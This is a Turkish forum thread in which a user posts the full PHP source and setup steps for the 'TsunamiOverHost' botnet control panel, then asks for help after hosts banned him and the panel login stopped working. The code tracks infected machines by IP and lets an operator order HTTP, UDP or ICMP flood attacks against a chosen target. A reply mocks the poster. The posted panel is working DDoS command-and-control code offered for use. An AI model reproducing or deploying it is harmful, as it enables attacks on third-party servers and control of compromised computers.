folder Tahribat.com Forumları
linefolder Virüs - Trojan - Keylogger - BotNet
linefolder Host Tabanalı Botnet Bu Sorunu Çöezemedim Yardım.



Host Tabanalı Botnet Bu Sorunu Çöezemedim Yardım.

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ironhazee
    ironhazee's avatar
    Kayıt Tarihi: 31/Mart/2008
    Erkek

     

     

    Mrb arkadaşlar nette gecerken tsunavioverhost die bir bot kurma dosyası buldum youtubedede vidosu filaan var Ancak bir sorunum var bir türlü çözemedim kafayı yemek üzereyim sorunu en sonda sölücem

    icinde server kurmaya yarıyan tsunamioverhost.exe dısında 3 php dosya ve 1 txt dosya var.olay su biz scripti siteye kurdukta sonra tusunami dosyasını acıoz ordan msla asd.com/panel   kurduk scripti o bize exeli bir dosya yaratıo bot dosyası calıstıran herkesi paneleimizde görüyoruz

     

     

    index php şöyle

    Burda sadece kullanıcı adı ve şifre belirliyoruz ilk paragrafta XXXXXXXXXXXXX olan yerlere

    _______________________________________________________________________________________________________________

    // SETTINGS FOR ADMIN ACCESS
    $login = "XXXXXXXXXXXXXXXXXXXXı"; // your login

    //You must set it!
    $password = "XXXXXXXXXXXXXXXXXXXXXXXXXXX";   // your password

    if(($_SERVER['PHP_AUTH_USER']!=$login) or ($_SERVER['PHP_AUTH_PW']!=$password) or (empty($_SERVER['PHP_AUTH_PW']))) {
        header("WWW-Authenticate: Basic realm=Panel");
        header("HTTP/1.0 401 Unauthorized");
        die("Try again!");
    }

    if (!is_writable('update.txt')) {
        die('update.txt is not writable change permissions for this file.');
    }

    // SETTINGS
    $attackTypes= array('Turn off attack','HttpAttack','UDP Flood','ICMP Flood');

    function delete_http($var) {
        if (preg_match('#^http://#',$var)) {
           $var =  substr($var,7);
        }
        $pos = strpos($var,'/');
        if ($pos>0)
        $var = substr($var, 0,$pos);
     return $var;
    }


    function add_http($var) {
        if (!preg_match('#^http://#',$var)) {
           return "http://$var";
        } else {
          return $var;
        }
    }

    function check_host($var) {
        $host = @gethostbyname($var);
        if(preg_match('#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#', $host)) {
           return true;
        } else {
           return false;
        }

    }


    function check() {
        if (ob_get_level() == 0) ob_start();
        $host = $_GET['addr']; $port =  $_GET['por']; $type = $_GET['type'];
        echo('Connecting to '.$host.' at port '.$port.'

    ');
        $hostip = @gethostbyname($host);

        if ($type == '3') {
           $hostip = 'udp://'.$hostip;
        }

        while(true) {

           if ($hostip == $host) {
              echo "Server is down or does not exist
    ";
              break;
           } else {
              if (!$x = @fsockopen($hostip, $port, $errno, $errstr, 5)) {
                 echo "Server is down \n\r
    ";
                 ob_flush();
                 flush();
                 ob_end_flush();
              }  else {
                 echo "Server is up \n\r
    ";
                 ob_flush();
                 flush();

                 if ($x) {
                    @fclose($x);
                 }
              }

           }

           echo str_pad('',4096)."\n";

           ob_flush();
           flush();
           sleep(2);
        }

        echo 'Done.';

        ob_end_flush();
    }


     if(isset($_POST['update'])) {
        switch($_POST['type']) {
           case '0':
              $newType = '0'; $newHost = ''; $newPort = '';
              break;
           case '1':
              $newType = '1'; $newHost = add_http($_POST['target']); $newPort = $_POST['port'];
              break;
           case '2':
              $newType = '2';  $newHost = delete_http($_POST['target']); $newPort = $_POST['port'];
              break;
           case '3':
              $newType = '3'; $newHost = delete_http($_POST['target']); $newPort = '';
              break;

        }

        if($_POST['type']=='0' or check_host(delete_http($newHost))) {
           $h = fopen('update.txt', 'w');
           $r = fwrite($h, $newType.' '.$newHost.' '.$newPort);
           fclose($h);
        } else {
           echo('Error: This is not real host/ip - Try again');
        }
     }
    ?>




    TsunamiOverHost - Panel


    include('online.php');

     $action = $_GET['a'];
     if ($action == 'online') {
     show_online();
     die();
     }


     if ($action == 'check') {
        check();
     } else {

        $h = fopen('update.txt','r');
        $r = @fread($h, filesize('update.txt'));
        $act = explode(' ',$r);
        fclose($h);
    echo('

    ');


    if ($act[0]!='0') {
    echo('Current attack
    Target: '.$act[1].'
    Attack type: '.$attackTypes[$act[0]]);
    if ($act[0]!='3') {
    echo('
    Port: '.$act[2].'
    Check status
    ');

    }
    }


    echo('< method="post">

        ');
        } else {
           echo('>');
        }
        echo(' ');
        echo('
    Attack type:
        < name="">< value="'.$i.'">       if ($i==$act[0])          echo(' selected');        switch($i){        case '1':        echo(' onclick="javascript:document.getElementById(\'target\').disabled = false; document.getElementById(\'port\').disabled = false; document.getElementById(\'port\').value=\'80\'"');        break;        case '2':        echo(' onclick="javascript:document.getElementById(\'target\').disabled = false; document.getElementById(\'port\').disabled = false; document.getElementById(\'port\').value=\'137\'"');        break;        case '3':        echo(' onclick="javascript:document.getElementById(\'target\').disabled = false; document.getElementById(\'port\').disabled = true; document.getElementById(\'port\').value=\'\'"');        break;        default:        echo(' onclick="javascript:document.getElementById(\'target\').disabled = true; document.getElementById(\'target\').value=\'\'; document.getElementById(\'port\').disabled = true; document.getElementById(\'port\').value=\'\'"');        break;       }       echo('>'.$attackTypes[$i]);    }    echo('   

        Target:
    < id="target" name="target" size="35" value="'.$act'1'.'" />
        if ($act['0']=='0') {
           echo(' disabled>');
        } else {
           echo('>');
        }
        echo('
    Port: < id="" name="" size="20" value="'.$act'2'.'" />
        if ($act['0']=='0' || $act['0']=='3') {
           echo(' disabled>
    Online: '.online_count().'
    ');

        echo('


    < name="update" ="submit" value="Update" />




    ');
     }


    ?>
    __________________________________________________________________________________________________________________________________

     

     

     

     

    Dierli online.php bundada mysql ayarları var onları gircez XXXXXXXXXXle yazılı yerlere

    _______________________________________________________________________________

    /*
    CREATE TABLE botnet (
      date int NOT NULL,
      ip varchar(40) NOT NULL,
      b_id int unsigned primary key NOT NULL auto_increment
    );
    */

    // Set MySQL database variables
    $online_db_host = "XXXXXXXXXXXXXXXXXXXXXXX";
    $online_db_name = "XXXXXXXXXXXXXXXXXXXXXXXX";
    $online_db_user = "XXXXXXXXXXXXXXXXXXXXX";
    $online_db_pass = "XXXXXXXXXXXXXXXXXXXX";

    // Set session timeout limit in minutes
    $online_sess_timeout = 2;
    // Time (in seconds) offset from server?
    $online_time_offset = 0; // << Add 0 if you do not want to change the time
    $online_add_sub = "+"; // << Put + for adding and - for subtracting
    // Set default font style
    $online_font_style = "font-family: verdana; font-size: 8pt; color: #000000";
    // Set table header font style
    $online_h_font_style = "font-family: verdana; font-size: 8pt; color: #FFFFFF";
    // Set default table bg, header and border color
    $online_bgcolor = "#FFFFFF";
    $online_bordercolor = "#000000";
    $online_headercolor = "#4169E1";


    $online_sess_timeout = (double)$online_sess_timeout;
    $online_seconds = $online_sess_timeout * 60;
    $online_time_offset = (double)$online_time_offset;

    if($online_add_sub == "+" && $online_time_offset != 0) {$online_date = time()+$online_time_offset;}
    elseif($add_sub == "-" && $online_time_offset != 0) {$online_date = time()-$online_time_offset;}
    else {$online_date = time();}


    // Determine IP address
    $online_ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];


    // Connection to database
    @mysql_connect($online_db_host, $online_db_user, $online_db_pass);
    @mysql_select_db($online_db_name);

    // Delete entries that are older than the time set in $online_sess_timeout
    $online_delete_query = "DELETE FROM botnet WHERE date < $online_date";
    $online_delete = @mysql_query($online_delete_query) or die(mysql_error());

    $online_query = "SELECT * FROM botnet WHERE ip = '$online_ip'";
    $online_result = @mysql_query($online_query) or die(mysql_error());

    if(mysql_num_rows($online_result) > 0) {
     while($online_row = mysql_fetch_array($online_result)) {
      if(isset($online_row['ip']) && $online_row['ip'] == $online_ip) {
       $online_update_query = "UPDATE botnet SET date = $online_date+$online_seconds WHERE ip = '".$online_ip."'";
       $online_update = @mysql_query($online_update_query) or die(mysql_error());
      }
      else {
       $online_insert_query = "INSERT INTO botnet VALUES($online_date+$online_seconds, '".$online_ip."', 0)";
       $online_insert = @mysql_query($online_insert_query) or die(mysql_error());
      }
     }
    }
    else {
     $online_insert_query = "INSERT INTO botnet VALUES($online_date+$online_seconds, '".$online_ip."', 0)";
     $online_insert = @mysql_query($online_insert_query) or die(mysql_error());
    }


    function show_online() {
    global $online_bordercolor,$online_headercolor,$online_h_font_style,$online_font_style,$online_bgcolor,$online_ip;
    $online_query = "SELECT * FROM botnet where ip<>'$online_ip' order by date, b_id asc";
    $online_result = @mysql_query($online_query) or die(mysql_error());
    echo("

    \n
    \n");
    echo(" \n
    ");

    echo(" \n \n ");

    $i = 1;
    while($online_row = mysql_fetch_array($online_result)) {

    echo(" \n \n \n \n");
    $i++;
    }
    echo("
    #Adres IP
    $i".$online_row['ip']."

    ");
    }


    function online_count() {
     $online_query = "SELECT count(*) FROM botnet";
     $online_result = @mysql_query($online_query) or die(mysql_error());
     $tablica =  mysql_fetch_array($online_result);
     return $tablica['count(*)']-1;
    }
    ?>

    _________________________________________________________________________________________________________________________________________

     

    _________________________

     

    Buda update.php bir değişiklik yapmıuoruz

    include('online.php');
    header("Content-type: text/plain");
    include('update.txt');
    ?>

    ______________

     

     

     

    Sonra  update.txt dosyamız var txt dosyasını cmod update dosyasını  777 yapmamız gerekiyor hosttan

     

     

    Son olarak bir mysqle yarattımızda o panele girip sql den bir döngü yaratcekmişsiz oda suymus

    SQL Komut çalıştırına giriniz ;

    CREATE TABLE botnet (
    date int NOT NULL,
    ip varchar(40) NOT NULL,
    b_id int unsigned primary key NOT NULL auto_increment
    );

     

    BİTTİİİ simdi sorurnumu sölücem

     

    ARKADAŞLAR BEN BU SCRİPTİ 2 GÜN ÖNCE KURDUM PANELE GİRİNCE İNDEX.PHPDE OLUŞTURDUĞUM  KULLANICI ADI VE ŞİFREYLE GİRİYORDUM NE OLDUYSA

    1GÜN GECTİ KURDUM HOST BANLANDI DİER  TAM 5HOSTTA KURDUM AYNI HOSTTADA ABC.COM/PANEL   YAZDIMDA İNDEX PHP ACILIO VE KULLANICI ADI VE ŞİFRE SOTUYOR DOGRU GİRSEM BİLE KABUL ETMİYOR SÜREKLİ SORGU EKRANI ÇIKIYOR BİTÜRLÜ GİRİŞ YAPMIYOR. DENEMEYİ BIRAKINCA CANCEL DEYİNCE ARKA PLANDA HALİYLE TRY AGAİN YAZISI CIKIO SCRİPTE

    aNLAMADIM 1 GÜN ÖNCE HERSEY CALISIRKEN ŞİMDİ NEDEN CALIŞMIYOR.İNDEX PHPDE GİRİLEN KUL ADI ŞİFRE KABUL ETMİYOR BOŞ HİÇBİŞİ YAZMASAM BİLE  PANELE GİRMİYOR NE DÜŞÜNÜYORSUNUZ

  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ironhazee
    ironhazee's avatar
    Kayıt Tarihi: 31/Mart/2008
    Erkek

    ARKADAŞLAR YENİR BİR GELİŞME OLDU KİBARHOST.CC DEN BEDAVA HOSTA KURDUM ÇALIŞTI. VİSTA PANEL FİLAN VAR. GODADDY KURDUM ACABA DEDİM BALANTILARIMI Yanlış YAPTIM.HAYIR GODADY HOSTUMA WORDPRESS KURDUM AYNI BALANTILARLA. Panel linkini  YAZDIMDA  KULLANICI ADINI KAÇ KERE YAZARSAM YAZIM KABUL ETMİYOR SÜREKLİ SORU EKRANI CIKIYOR

     

    SAIRIM BU HOSTTAN KAYNAKLANIO GODADDY İZİN VERMİYOR SANIRIM PANELE GİRMEME NERDENA CABİLİRİM BÖLE BİR ÖZELLİK VARMI

  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    JohnD
    JohnD's avatar
    Banlanmış Üye
    Kayıt Tarihi: 19/Ekim/2008
    Erkek

    azimli bir lamer ın hikayesi..


    DOM..
Toplam Hit: 1517 Toplam Mesaj: 3